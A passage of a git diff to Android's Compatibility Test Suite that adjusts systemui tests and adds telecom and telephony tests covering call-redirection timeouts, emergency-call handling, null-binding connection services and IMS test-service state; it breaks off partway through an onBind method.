-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
index 872a682..b5e657c 100644
--- a/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java
@@ -25,7 +25,6 @@
 import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
 import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY;
 import static android.view.View.SYSTEM_UI_FLAG_VISIBLE;
-import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -114,7 +113,6 @@
     private String mGesturePreferenceTitle;
     private TouchHelper mTouchHelper;
     private boolean mConfiguredInSettings;
-    private boolean mIsLargeScreen;
 
     private static String getSettingsString(Resources res, String strResName) {
         int resIdString = res.getIdentifier(strResName, "string", SETTINGS_PACKAGE_NAME);
@@ -297,11 +295,6 @@
         mDisplayWidth = metrics.widthPixels;
         mExclusionLimit = (int) (EXCLUSION_LIMIT_DP * mPixelsPerDp);
 
-        final Context windowContext = mTargetContext.createWindowContext(display,
-                TYPE_APPLICATION_OVERLAY, null /* options */);
-        mIsLargeScreen = windowContext.getResources()
-                .getConfiguration().smallestScreenWidthDp >= 600;
-
         // To setup the Edge to Edge environment by do the operation on Settings
         boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture();
         if (isOperatedSettingsToExpectedOption) {
@@ -611,7 +604,6 @@
     public void systemGesture_excludeViewRects_withoutAnyCancel()
             throws Throwable {
         assumeTrue(hasSystemGestureFeature());
-        assumeTrue(!mIsLargeScreen);
 
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
         mainThreadRun(() -> mActionBounds = mActivity.getActionBounds(
@@ -646,7 +638,6 @@
     @Test
     public void systemGesture_notExcludeViewRects_withoutAnyCancel() {
         assumeTrue(hasSystemGestureFeature());
-        assumeTrue(!mIsLargeScreen);
 
         mainThreadRun(() -> mActivity.setSystemGestureExclusion(null));
         mainThreadRun(() -> mContentViewWindowInsets = mActivity.getDecorViewWindowInsets());
diff --git a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
index 7e0bdcce..47d1ac8 100644
--- a/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
+++ b/tests/tests/systemui/src/android/systemui/cts/tv/BasicPipTests.kt
@@ -21,6 +21,7 @@
 import android.app.WindowConfiguration
 import android.content.pm.PackageManager
 import android.os.ServiceManager
+import android.platform.test.annotations.AppModeFull
 import android.platform.test.annotations.Postsubmit
 import android.server.wm.Condition
 import android.server.wm.WindowManagerState
@@ -47,6 +48,7 @@
  * Build/Install/Run:
  * atest CtsSystemUiTestCases:BasicPipTests
  */
+@AppModeFull(reason = "Checks window manager state")
 @Postsubmit
 @Group2
 @RunWith(AndroidJUnit4::class)
diff --git a/tests/tests/telecom/Android.bp b/tests/tests/telecom/Android.bp
index 437743a..4ccffdf 100644
--- a/tests/tests/telecom/Android.bp
+++ b/tests/tests/telecom/Android.bp
@@ -98,6 +98,17 @@
         "cts",
         "general-tests",
     ],
+    data: [
+        ":ThirdPtyInCallServiceTestApp",
+        ":CarModeTestAppTwo",
+        ":Api29InCallServiceTestApp",
+        ":CallRedirectionServiceTestApp",
+        ":ThirdPtyDialerTestAppTwo",
+        ":ThirdPtyDialerTestApp",
+        ":CarModeTestApp",
+        ":CallScreeningServiceTestApp",
+    ],
+    per_testcase_directory: true,
 }
 
 java_library {
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 96a07b3..1b1d48e 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -79,6 +79,14 @@
             </intent-filter>
         </service>
 
+        <service android:name="android.telecom.cts.NullBindingConnectionService"
+                 android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.ConnectionService"/>
+            </intent-filter>
+        </service>
+
         <service android:name="android.telecom.cts.MockInCallService"
              android:permission="android.permission.BIND_INCALL_SERVICE"
              android:exported="true">
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/aidl/android/telecom/cts/redirectiontestapp/ICtsCallRedirectionServiceController.aidl b/tests/tests/telecom/CallRedirectionServiceTestApp/aidl/android/telecom/cts/redirectiontestapp/ICtsCallRedirectionServiceController.aidl
index 22ac265..68cd09b 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/aidl/android/telecom/cts/redirectiontestapp/ICtsCallRedirectionServiceController.aidl
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/aidl/android/telecom/cts/redirectiontestapp/ICtsCallRedirectionServiceController.aidl
@@ -29,4 +29,10 @@
     void setCancelCall();
 
     void setPlaceCallUnmodified();
+
+    void setWaitForTimeout();
+
+    boolean waitForTimeoutNotified();
+
+    boolean waitForOnPlaceCallInvoked();
 }
\ No newline at end of file
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionService.java b/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionService.java
index cd98db8..0607b771 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionService.java
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionService.java
@@ -47,6 +47,7 @@
             controller.setDestinationUri(handle);
             controller.setOriginalPhoneAccount(initialPhoneAccount);
             int decision = controller.getCallRedirectionDecision();
+            // if decision == RESPONSE_TIMEOUT, do nothing and wait for timeout
             if (decision == CtsCallRedirectionServiceController.PLACE_CALL_UNMODIFIED) {
                 placeCallUnmodified();
             } else if (decision == CtsCallRedirectionServiceController.CANCEL_CALL) {
@@ -55,8 +56,21 @@
                 redirectCall(controller.getTargetHandle(), controller.getTargetPhoneAccount(),
                         controller.isConfirmFirst());
             }
+            controller.onPlaceCallInvoked();
         } else {
-            Log.w(TAG, "No control interface.");
+            Log.w(TAG, "onPlaceCall: No control interface.");
+        }
+    }
+
+    @Override
+    public void onRedirectionTimeout() {
+        Log.i(TAG, "onRedirectionTimeout");
+        CtsCallRedirectionServiceController controller =
+                CtsCallRedirectionServiceController.getInstance();
+        if (controller != null) {
+            controller.timeoutNotified();
+        } else {
+            Log.w(TAG, "onDirectionTimeout: No control interface.");
         }
     }
 }
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionServiceController.java b/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionServiceController.java
index 61d00be..c59bf56 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionServiceController.java
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/src/android/telecom/cts/redirectiontestapp/CtsCallRedirectionServiceController.java
@@ -23,9 +23,11 @@
 import android.telecom.PhoneAccountHandle;
 import android.os.IBinder;
 import android.telecom.CallRedirectionService;
-import android.text.TextUtils;
 import android.util.Log;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 public class CtsCallRedirectionServiceController extends Service {
     private static final String TAG = CallRedirectionService.class.getSimpleName();
     public static final String CONTROL_INTERFACE_ACTION =
@@ -40,6 +42,7 @@
     public static final int PLACE_CALL_UNMODIFIED = 2;
     public static final int PLACE_REDIRECTED_CALL = 3;
     public static final int CANCEL_CALL = 4;
+    public static final long TIMEOUT = 6000;
 
     private int mDecision = NO_DECISION_YET;
 
@@ -49,6 +52,8 @@
     private PhoneAccountHandle mRedirectedPhoneAccount = null;
     private PhoneAccountHandle mOriginalPhoneAccount = null;
     private boolean mConfirmFirst = false;
+    private CountDownLatch mTimeoutNotified = new CountDownLatch(1);
+    private CountDownLatch mOnPlaceCallInvoked = new CountDownLatch(1);
 
     private static CtsCallRedirectionServiceController sCallRedirectionServiceController = null;
 
@@ -56,6 +61,8 @@
                 @Override
                 public void reset() {
                     mDecision = NO_DECISION_YET;
+                    mTimeoutNotified = new CountDownLatch(1);
+                    mOnPlaceCallInvoked = new CountDownLatch(1);
                 }
 
                 @Override
@@ -80,6 +87,31 @@
                     Log.i(TAG, "placeCallUnmodified");
                     mDecision = PLACE_CALL_UNMODIFIED;
                 }
+
+                @Override
+                public void setWaitForTimeout() {
+                    Log.i(TAG, "setWaitForTimeout");
+                    mDecision = RESPONSE_TIMEOUT;
+                }
+
+                @Override
+                public boolean waitForTimeoutNotified() {
+                    Log.i(TAG, "waitForTimeoutNotified");
+                    try {
+                        return mTimeoutNotified.await(TIMEOUT, TimeUnit.MILLISECONDS);
+                    } catch (InterruptedException e) {
+                        return false;
+                    }
+                }
+
+                @Override
+                public boolean waitForOnPlaceCallInvoked() {
+                    try {
+                        return mOnPlaceCallInvoked.await(TIMEOUT, TimeUnit.MILLISECONDS);
+                    } catch (InterruptedException e) {
+                        return false;
+                    }
+                }
             };
 
     public static CtsCallRedirectionServiceController getInstance() {
@@ -126,4 +158,12 @@
     public boolean isConfirmFirst() {
         return mConfirmFirst;
     }
+
+    public void timeoutNotified() {
+        mTimeoutNotified.countDown();
+    }
+
+    public void onPlaceCallInvoked() {
+        mOnPlaceCallInvoked.countDown();
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/AdhocConferenceTest.java b/tests/tests/telecom/src/android/telecom/cts/AdhocConferenceTest.java
index 6e8acd1..9e8c150 100644
--- a/tests/tests/telecom/src/android/telecom/cts/AdhocConferenceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/AdhocConferenceTest.java
@@ -26,6 +26,7 @@
 import android.telecom.Connection;
 import android.telecom.ConnectionRequest;
 import android.telecom.DisconnectCause;
+import android.telecom.TelecomManager;
 import android.telecom.VideoProfile;
 import android.util.Log;
 import android.util.Pair;
@@ -65,6 +66,8 @@
             return;
         }
         Bundle extra = new Bundle();
+        extra.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
         mTelecomManager.startConference(PARTICIPANTS, extra);
         ConnectionRequest request = verifyAdhocConferenceCall().second;
         assertTrue(request.isAdhocConferenceCall());
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index c4350fa..740020c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -593,8 +593,8 @@
         testBundle.putInt(TEST_EXTRA_KEY2, TEST_EXTRA_VALUE);
         testBundle.putBoolean(Connection.EXTRA_DISABLE_ADD_CALL, true);
         mConnection.putExtras(testBundle);
-        // Wait for the 2nd invocation; setExtras is called in the setup method.
-        mOnExtrasChangedCounter.waitForCount(2, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        // Wait for the 3rd invocation; setExtras is called in the setup method.
+        mOnExtrasChangedCounter.waitForCount(3, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
 
         Bundle extras = mCall.getDetails().getExtras();
         assertTrue(extras.containsKey(TEST_EXTRA_KEY));
@@ -644,13 +644,13 @@
         testConnectionPutExtras();
 
         mConnection.removeExtras(TEST_EXTRA_KEY);
-        // testConnectionPutExtra will have waited for the 2nd invocation, so wait for the 3rd here.
+        // testConnectionPutExtra will have waited for the 3rd invocation, so wait for the 4th here.
         verifyRemoveConnectionExtras();
     }
 
     private void verifyRemoveConnectionExtras() {
-        // testConnectionPutExtra will have waited for the 2nd invocation, so wait for the 3rd here.
-        mOnExtrasChangedCounter.waitForCount(3, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        // testConnectionPutExtra will have waited for the 3rd invocation, so wait for the 4th here.
+        mOnExtrasChangedCounter.waitForCount(4, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
 
         Bundle extras = mCall.getDetails().getExtras();
         assertFalse(extras.containsKey(TEST_EXTRA_KEY));
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
index 5e8f3f5..53a36c9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
@@ -43,6 +43,8 @@
 
 import com.android.compatibility.common.util.CddTest;
 
+import junit.framework.AssertionFailedError;
+
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
@@ -95,6 +97,7 @@
         // Ensure CTS app holds the call redirection role.
         addRoleHolder(ROLE_CALL_REDIRECTION,
                 CtsCallRedirectionService.class.getPackage().getName());
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
     }
 
     @Override
@@ -202,6 +205,31 @@
         assertTrue(Call.STATE_DISCONNECTED != mCall.getState());
     }
 
+    public void testNotifyTimeout() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        mCallRedirectionServiceController.setWaitForTimeout();
+        try {
+            placeAndVerifyCallByRedirection(false /* cancelledByCallRedirection */);
+        } catch (AssertionFailedError e) {
+            // Expected since we set the CallRedirectionService wait for timeout
+        }
+        assertTrue(mCallRedirectionServiceController.waitForTimeoutNotified());
+    }
+
+    public void testCantRedirectEmergencyCall() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        Bundle extras = new Bundle();
+        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
+        mCallRedirectionServiceController.setRedirectCall(
+                SAMPLE_HANDLE, TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2, false);
+        placeAndVerifyCallByRedirection(extras, false /* cancelledByCallRedirection */);
+        assertFalse(mCallRedirectionServiceController.waitForOnPlaceCallInvoked());
+    }
+
     /**
      * Sets up a binder used to control the CallRedirectionServiceCtsTestApp.
      * This app is a standalone APK so that it can reside in a package name outside of the one the
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
index 49d95e1..aa685fd 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnectionService.java
@@ -98,8 +98,13 @@
             connection.setConnectionProperties(connection.getConnectionProperties() |
                     Connection.PROPERTY_IS_RTT);
         }
+        Bundle testExtra;
+        if (request.getExtras() != null) {
+            testExtra = request.getExtras();
+        } else {
+            testExtra = new Bundle();
+        }
         // Emit an extra into the connection.  We'll see if it makes it through.
-        Bundle testExtra = new Bundle();
         testExtra.putString(EXTRA_TEST, TEST_VALUE);
         connection.putExtras(testExtra);
         outgoingConnections.add(connection);
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
new file mode 100644
index 0000000..1debb7a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * A minimal {@link Service} implementation intended to test cases where a {@link ConnectionService}
+ * tries to return a null binding.
+ */
+public class NullBindingConnectionService extends Service {
+    public static CountDownLatch sBindLatch = new CountDownLatch(1);
+    public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+    public NullBindingConnectionService() {
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        sBindLatch.countDown();
+        sUnbindLatch = new CountDownLatch(1);
+        return null;
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sUnbindLatch.countDown();
+        sBindLatch = new CountDownLatch(1);
+        return false;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
new file mode 100644
index 0000000..611eeab
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Bundle;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+/**
+ * CTS tests to ensure that a ConnectionService which returns a null binding will be automatically
+ * unbound.
+ */
+
+public class NullBindingTest extends BaseTelecomTestWithMockServices {
+    private static final PhoneAccountHandle TEST_NULL_BINDING_HANDLE =
+            new PhoneAccountHandle(new ComponentName("android.telecom.cts",
+                    "android.telecom.cts.NullBindingConnectionService"),
+                    "1");
+
+    public static final PhoneAccount TEST_NULL_BINDING_ACCOUNT = PhoneAccount.builder(
+                    TEST_NULL_BINDING_HANDLE, "Null")
+            .setAddress(Uri.parse("sip:test@test.com"))
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .build();
+
+    private static final Uri TEST_ADDRESS_1 = Uri.fromParts("sip", "call1@test.com", null);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContext = getInstrumentation().getContext();
+        if (mShouldTestTelecom) {
+            mTelecomManager.registerPhoneAccount(TEST_NULL_BINDING_ACCOUNT);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (mShouldTestTelecom) {
+            mTelecomManager.unregisterPhoneAccount(TEST_NULL_BINDING_HANDLE);
+        }
+    }
+
+    /**
+     * Ensures that when we bind to a ConnectionService which returns a null binding that the
+     * ConnectionService is unbound automatically.
+     */
+    public void testNullBinding() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // Place a call using the null binding connection service.
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, TEST_NULL_BINDING_HANDLE);
+        mTelecomManager.placeCall(TEST_ADDRESS_1, extras);
+
+        // Ensure it bound and then unbound.
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sBindLatch));
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingConnectionService.sUnbindLatch));
+
+        // Ensure there is no call present in Telecom
+        assertFalse(mTelecomManager.isInCall());
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java
index a1fa14d..205cb5b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/RemoteConnectionTest.java
@@ -27,6 +27,7 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.Parcel;
 import android.telecom.Call;
 import android.telecom.Conference;
 import android.telecom.Connection;
@@ -96,6 +97,32 @@
         assertConnectionState(mRemoteConnection, Connection.STATE_DISCONNECTED);
     }
 
+    public void testRemoteConnectionOutgoingEmergencyCall() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        addRemoteConnectionOutgoingEmergencyCall();
+        final Call call = mInCallCallbacks.getService().getLastCall();
+        assertCallState(call, Call.STATE_DIALING);
+
+        verifyRemoteConnectionObject(mRemoteConnectionObject, mRemoteConnection);
+
+        mConnection.setActive();
+        mRemoteConnection.setActive();
+
+        assertCallState(call, Call.STATE_ACTIVE);
+        assertConnectionState(mConnection, Connection.STATE_ACTIVE);
+        assertRemoteConnectionState(mRemoteConnectionObject, Connection.STATE_ACTIVE);
+        assertConnectionState(mRemoteConnection, Connection.STATE_ACTIVE);
+
+        assertNotNull(mRemoteConnection.getExtras().get(Connection.EXTRA_LAST_KNOWN_CELL_IDENTITY));
+        call.disconnect();
+        assertCallState(call, Call.STATE_DISCONNECTED);
+        assertConnectionState(mConnection, Connection.STATE_DISCONNECTED);
+        assertRemoteConnectionState(mRemoteConnectionObject, Connection.STATE_DISCONNECTED);
+        assertConnectionState(mRemoteConnection, Connection.STATE_DISCONNECTED);
+    }
+
     public void testRemoteConnectionIncomingCallAccept() {
         if (!mShouldTestTelecom) {
             return;
@@ -212,7 +239,10 @@
         }
 
         try {
-            mTelecomManager.startConference(PARTICIPANTS, null);
+            Bundle extra = new Bundle();
+            extra.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                    TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+            mTelecomManager.startConference(PARTICIPANTS, extra);
             MockConference conference = verifyConference(2);
             MockConference remoteConference = verifyConferenceOnRemoteCS(2);
             RemoteConferenceTest.verifyRemoteConferenceObject(conference.getRemoteConference(),
@@ -1341,6 +1371,50 @@
         mRemoteConnectionObject = mConnection.getRemoteConnection();
     }
 
+    private void addRemoteConnectionOutgoingEmergencyCall() {
+        try {
+            setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+        } catch (Exception e) {
+            fail("Could not setup emergency number");
+        }
+        try {
+            MockConnectionService managerConnectionService = new MockConnectionService() {
+                @Override
+                public Connection onCreateOutgoingConnection(
+                        PhoneAccountHandle connectionManagerPhoneAccount,
+                        ConnectionRequest request) {
+                    MockConnection connection = (MockConnection)super.onCreateOutgoingConnection(
+                            connectionManagerPhoneAccount, request);
+                    ConnectionRequest remoteRequest = new ConnectionRequest(
+                            TEST_REMOTE_PHONE_ACCOUNT_HANDLE,
+                            request.getAddress(),
+                            request.getExtras());
+                    RemoteConnection remoteConnection =
+                            CtsConnectionService.createRemoteOutgoingConnectionToTelecom(
+                                    TEST_REMOTE_PHONE_ACCOUNT_HANDLE, remoteRequest);
+                    connection.setRemoteConnection(remoteConnection);
+                    return connection;
+                }
+            };
+            setupConnectionServices(managerConnectionService, null, FLAG_REGISTER | FLAG_ENABLE);
+        } catch(Exception e) {
+            fail("Error in setting up the connection services");
+        }
+        placeAndVerifyEmergencyCall(true);
+        /**
+         * Retrieve the connection from both the connection services and see if the plumbing via
+         * RemoteConnection object is working.
+         */
+        mConnection = verifyConnectionForOutgoingCall();
+        mRemoteConnection = verifyConnectionForOutgoingCallOnRemoteCS();
+        mRemoteConnectionObject = mConnection.getRemoteConnection();
+        try {
+            tearDownEmergencyCalling();
+        } catch (Exception e) {
+            fail("could not teardown emergency calling");
+        }
+    }
+
     private void addRemoteConnectionIncomingCall() {
         try {
             MockConnectionService managerConnectionService = new MockConnectionService() {
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
index d28e9ff..02848c8 100644
--- a/tests/tests/telephony/OWNERS
+++ b/tests/tests/telephony/OWNERS
@@ -1,16 +1,2 @@
-# Bug component: 20868
-amitmahajan@google.com
-breadley@google.com
-fionaxu@google.com
-jackyu@google.com
-rgreenwalt@google.com
-tgunn@google.com
-jminjie@google.com
-shuoq@google.com
-sarahchin@google.com
-xiaotonj@google.com
-huiwang@google.com
-jayachandranc@google.com
-chinmayd@google.com
-amruthr@google.com
-sasindran@google.com
+file:platform/frameworks/opt/telephony:/OWNERS
+
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index a3c9f59..5459267 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -32,7 +32,9 @@
         "src/android/telephony/ims/cts/ImsUtils.java",
         "src/android/telephony/ims/cts/SipDialogAttributes.java",
         "src/android/telephony/ims/cts/SipMessageUtils.java",
-	    "src/android/telephony/ims/cts/TestAcsClient.java",
+        "src/android/telephony/ims/cts/TestAcsClient.java",
+        "src/android/telephony/ims/cts/TestImsCallSessionImpl.java",
+        "src/android/telephony/ims/cts/ConferenceHelper.java",
     ],
     path: "src/",
 }
@@ -54,6 +56,7 @@
         "hamcrest-library",
         "compatibility-device-util-axt",
         "truth-prebuilt",
+        "android.telephony.mockmodem",
     ],
     srcs: [
         "src/**/*.java",
@@ -68,7 +71,7 @@
         local_include_dirs: [
             "EmbmsMiddlewareTestApp/aidl/",
             "TestExternalImsServiceApp/aidl/",
-        ]
+        ],
     },
     test_suites: [
         "cts",
@@ -85,6 +88,5 @@
     name: "cts-telephony-utils",
     srcs: [
         "src/android/telephony/cts/TelephonyUtils.java",
-    ]
+    ],
 }
-
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index 178f73b..f027c29 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -17,6 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.telephony.cts">
 
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.ANSWER_PHONE_CALLS"/>
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
@@ -46,7 +48,9 @@
 
     <permission android:name="android.telephony.embms.cts.permission.TEST_BROADCAST"
          android:protectionLevel="signature"/>
-    <application>
+    <!-- Must be debuggable for compat shell commands to work on user builds -->
+    <application android:debuggable="true">
+
         <provider android:name="android.telephony.cts.MmsPduProvider"
              android:authorities="telephonyctstest"
              android:grantUriPermissions="true"/>
@@ -104,7 +108,7 @@
             </intent-filter>
         </service>
 
-        <service android:name="android.telephony.cts.StubInCallService"
+        <service android:name="android.telephony.cts.InCallServiceStateValidator"
              android:permission="android.permission.BIND_INCALL_SERVICE"
              android:exported="true">
             <intent-filter>
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
index e3f9bd5..273f358 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
@@ -16,7 +16,10 @@
     aidl: {
         local_include_dirs: ["aidl/"],
     },
-    sdk_version: "test_current",
+    // Uncomment when ImsConferenceState constructor is not hidden
+    //sdk_version: "test_current",
+    // remove when ImsConferenceState constructor is not hidden
+    platform_apis: true,
     test_suites: [
         "cts",
         "general-tests",
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl b/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl
index 2529ada..71924a2 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/aidl/android/telephony/cts/externalimsservice/ITestExternalImsService.aidl
@@ -29,4 +29,5 @@
     boolean isRcsFeatureCreated();
     boolean isMmTelFeatureCreated();
     void resetState();
+    boolean isTelephonyBound();
 }
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java b/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java
index 9101ae51..eaeb6d1 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/src/android/telephony/cts/externalimsservice/TestExternalImsService.java
@@ -29,7 +29,7 @@
  */
 
 public class TestExternalImsService extends TestImsService {
-    private static final String TAG = "GtsImsTestDeviceImsService";
+    private static final String TAG = "CtsImsTestDeviceImsService";
     // TODO: Use ImsService.SERVICE_INTERFACE definition when it becomes public.
     private static final String ACTION_BIND_IMS_SERVICE = "android.telephony.ims.ImsService";
 
@@ -56,19 +56,26 @@
         public void resetState() {
             TestExternalImsService.this.resetState();
         }
+
+        public boolean isTelephonyBound() {
+            return TestExternalImsService.this.isTelephonyBound();
+        }
     }
 
     @Override
     public IBinder onBind(Intent intent) {
-        if (ACTION_BIND_IMS_SERVICE.equals(intent.getAction())) {
-            if (ImsUtils.VDBG) {
-                Log.i(TAG, "onBind-Remote");
+        synchronized (mLock) {
